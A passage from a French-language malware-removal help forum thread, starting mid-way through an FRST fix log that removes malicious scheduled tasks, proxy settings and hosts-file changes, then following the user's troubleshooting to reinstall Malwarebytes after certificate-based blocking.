            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{95339A33-8CA2-4755-A69D-E9BED81F09EF} => clé supprimé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{95339A33-8CA2-4755-A69D-E9BED81F09EF} => clé supprimé(es) avec succès
            C:\Windows\System32\Tasks\Microsoft\Windows\DeviceSettings\Grihish => déplacé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\DeviceSettings\Grihish => clé supprimé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{0CF3D7FA-6188-4B78-8C1B-A6FF83A125A1} => clé supprimé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0CF3D7FA-6188-4B78-8C1B-A6FF83A125A1} => clé supprimé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{3A4F71C1-6523-4816-A029-1AC99C831258} => clé supprimé(es) avec succès
            "c:\Program Files\Microsoft Security Client" => Avertissement: FRST est conçu pour ne pas déplacer ce dossier.
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{A67423B1-427F-4FF2-AA60-F8096B21AE4A} => clé supprimé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A67423B1-427F-4FF2-AA60-F8096B21AE4A} => clé supprimé(es) avec succès
            C:\Windows\System32\Tasks\Microsoft\Microsoft Antimalware\Microsoft Antimalware Scheduled Scan => déplacé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Microsoft Antimalware\Microsoft Antimalware Scheduled Scan => clé supprimé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{A9EC5320-235C-411A-A8AF-36840860F002} => clé supprimé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A9EC5320-235C-411A-A8AF-36840860F002} => clé supprimé(es) avec succès
            HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{F9D191B2-6123-4EA4-8332-B9106FAF89DA} => clé supprimé(es) avec succès
            C:\Windows\System32\Drivers\etc\hosts => déplacé(es) avec succès
            Hosts restauré(es) avec succès.

            ========= RemoveProxy: =========

            HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
            HKU\S-1-5-21-2452614800-3455195969-3210789232-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
            HKU\S-1-5-21-2452614800-3455195969-3210789232-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => valeur supprimé(es) avec succès

            ========= Fin de RemoveProxy: =========

            =========== EmptyTemp: ==========

            BITS transfer queue => 8388608 B
            DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 5017830 B
            Java, Flash, Steam htmlcache => 1710 B
            Windows/system/drivers => 647396 B
            Edge => 0 B
            Chrome => 437259 B
            Firefox => 0 B
            Opera => 0 B

            Temp, IE cache, history, cookies, recent:
            Users => 0 B
            Default => 0 B
            Public => 0 B
            ProgramData => 0 B
            systemprofile32 => 128 B
            LocalService => 0 B
            NetworkService => 17854 B
            Rena Karena_2 => 2505094 B

            RecycleBin => 0 B
            EmptyTemp: => 16.2 MB données temporaires supprimées.

            ================================

            Le système a dû redémarrer.

            Fin de Fixlog 12:59:09

            1. bonjour,

              pour finaliser et confirmer le résulta du nettoyage j'ai voulu passe Malwarebytes et adwcleaner.

              Tous les deux me renvoient le même message : Erreur du système de fichiers (65535)
              1. désinstallation réussi
                cleaner OK

                par contre pour l’installation je me retrouve avec le même message qu'au tout début

                du : Contrôle de compte d'utilisateur

                "Ce programme a été bloqué pour votre protection

                Votre administrateur vous a refusé l'exécution de ce programme. Pour plus d'informations, contactez l'administrateur."

                j'ai impression que ma chérie a trouver un virus bien coriace
                revoici les ficher FRST au cas ou

                https://pjjoint.malekal.com/files.php?id=FRST_20170526_s15i14f13o8d10

                https://pjjoint.malekal.com/files.php?id=20170526_u7s14h10x7y11

                https://pjjoint.malekal.com/files.php?id=20170526_s11l10f15w6d14

                merci de votre aide si précieuse

                Bel_Iblis
                1. Modérateur
                  Sur ton rapport Addition, Malwarebytes est dans la liste des programmes...

                  Désactive le contrôle des comptes utilisateur : https://www.commentcamarche.net/informatique/windows/261-desactiver-le-controle-de-compte-d-utilisateur-uac-de-windows/
                  réinstalle Malwarebytes, prends le bien depuis le site officiel.
                  réactive le contrôle des comptes.

                  Veuillez appuyer sur une touche pour continuer la désinfection...
                  1. mercie

                    je réalise que j'ai commencé a joué au fainéant

                    mais me suis rattraper à prés la manip conseiller à l’installation de Malwarebytes j'ai eu ce message:

                    Runtime Error (at 49:120):
                    Could not call porc.

                    mais je suis aller sur le forum de Malwarebytes ou j'ai trouver ça :

                    1) Appuyez sur Windows Key + R pour afficher la boîte de dialogue d'exécution, tapez certmgr.msc et cliquez sur OK

                    2) Dans la fenêtre qui apparaît, double-cliquez sur Certificats non autorisés. Si un dossier de certificat existe, cliquez dessus

                    3) Supprimez tous les certificats sur le côté droit de la fenêtre qui ont Malwarebytes au nom

                    4) Redémarrez et essayez une réinstallation

                    _____

                    et la j'ai pu enfin installer Malwarebytes

                    Mercie à toi Malekal_morte en espèrent ne plus avoir a te déranger.

                    Bel_Iblis